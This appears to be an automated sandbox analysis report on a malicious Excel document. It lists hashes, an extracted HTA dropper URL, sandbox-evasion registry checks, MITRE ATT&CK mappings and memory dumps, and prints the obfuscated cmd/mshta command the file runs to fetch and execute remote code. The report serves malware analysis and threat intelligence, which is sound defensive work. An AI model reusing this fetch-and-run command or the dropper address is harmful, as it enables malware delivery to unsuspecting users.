02db686e0df1d12f25da7e841b48d47d6cdcd52e4c7f68b48155265b19020ebb

General

Target

02db686e0df1d12f25da7e841b48d47d6cdcd52e4c7f68b48155265b19020ebb.xls
Size

107KB
MD5

fd86ecc9240f42bf24010b822344b210
SHA1

390dd835d292fff13d2ade930c4704c242846ec4
SHA256

02db686e0df1d12f25da7e841b48d47d6cdcd52e4c7f68b48155265b19020ebb
SHA512

cade3602a81a1d7a50851eb70e422b16aba28bd1cc5868668e3a98c4653288b71a21a0ba8ac8cf0a878ed562c3907d73bf2f70b2c25de679839dc31865743adc
SSDEEP

3072:+C+nBqmxk3hbdlylKsgqopeJBWhZFGkE+cMLxAAIFxe53lGvFTQ3IzxgdrvxpU0O:R+nBqmxk3hbdlylKsgqopeJBWhZFVE+s

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe4.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1568	2444	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	3988	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2444	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2444	EXCEL.EXE
2444	EXCEL.EXE
2444	EXCEL.EXE
2444	EXCEL.EXE
2444	EXCEL.EXE
2444	EXCEL.EXE
2444	EXCEL.EXE
2444	EXCEL.EXE
2444	EXCEL.EXE
2444	EXCEL.EXE
2444	EXCEL.EXE
2444	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2444 wrote to memory of 1568	2444	EXCEL.EXE	87
PID 2444 wrote to memory of 1568	2444	EXCEL.EXE	87
PID 1568 wrote to memory of 3988	1568	cmd.exe	89
PID 1568 wrote to memory of 3988	1568	cmd.exe	89

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\02db686e0df1d12f25da7e841b48d47d6cdcd52e4c7f68b48155265b19020ebb.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2444
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e4.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1568
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe4.html
    3⤵
    - Blocklisted process makes network request
    PID:3988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
9a4c263734c1b2231760ff29b6ef417f

SHA1
e2900c81d495cc246c70fb07d36c8dc58fbd6dfe

SHA256
58c40b9af8a6a91438f8e280496ac8863588e544c01f1fbe150e606f24f1c6ed

SHA512
6b21b2a2cdf8651f4a37f31782362fb0dafcea6dd8672925e7bc9b68a27552efc58b23edb1dd2fd7023184f96dd02ced12a439143424664a4d2f9da5c395f83c

Download Submit
memory/2444-11-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

Filesize
2.0MB

Download
memory/2444-12-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

Filesize
2.0MB

Download
memory/2444-4-0x00007FFCB26B0000-0x00007FFCB26C0000-memory.dmp

Filesize
64KB

Download
memory/2444-5-0x00007FFCB26B0000-0x00007FFCB26C0000-memory.dmp

Filesize
64KB

Download
memory/2444-9-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

Filesize
2.0MB

Download
memory/2444-8-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

Filesize
2.0MB

Download
memory/2444-7-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

Filesize
2.0MB

Download
memory/2444-6-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

Filesize
2.0MB

Download
memory/2444-1-0x00007FFCB26B0000-0x00007FFCB26C0000-memory.dmp

Filesize
64KB

Download
memory/2444-0-0x00007FFCB26B0000-0x00007FFCB26C0000-memory.dmp

Filesize
64KB

Download
memory/2444-2-0x00007FFCB26B0000-0x00007FFCB26C0000-memory.dmp

Filesize
64KB

Download
memory/2444-13-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

Filesize
2.0MB

Download
memory/2444-10-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

Filesize
2.0MB

Download
memory/2444-14-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

Filesize
2.0MB

Download
memory/2444-15-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

Filesize
2.0MB

Download
memory/2444-16-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

Filesize
2.0MB

Download
memory/2444-17-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

Filesize
2.0MB

Download
memory/2444-18-0x00007FFCAFD50000-0x00007FFCAFD60000-memory.dmp

Filesize
64KB

Download
memory/2444-19-0x00007FFCAFD50000-0x00007FFCAFD60000-memory.dmp

Filesize
64KB

Download
memory/2444-30-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp

Filesize
2.0MB

Download
memory/2444-3-0x00007FFCF26CD000-0x00007FFCF26CE000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads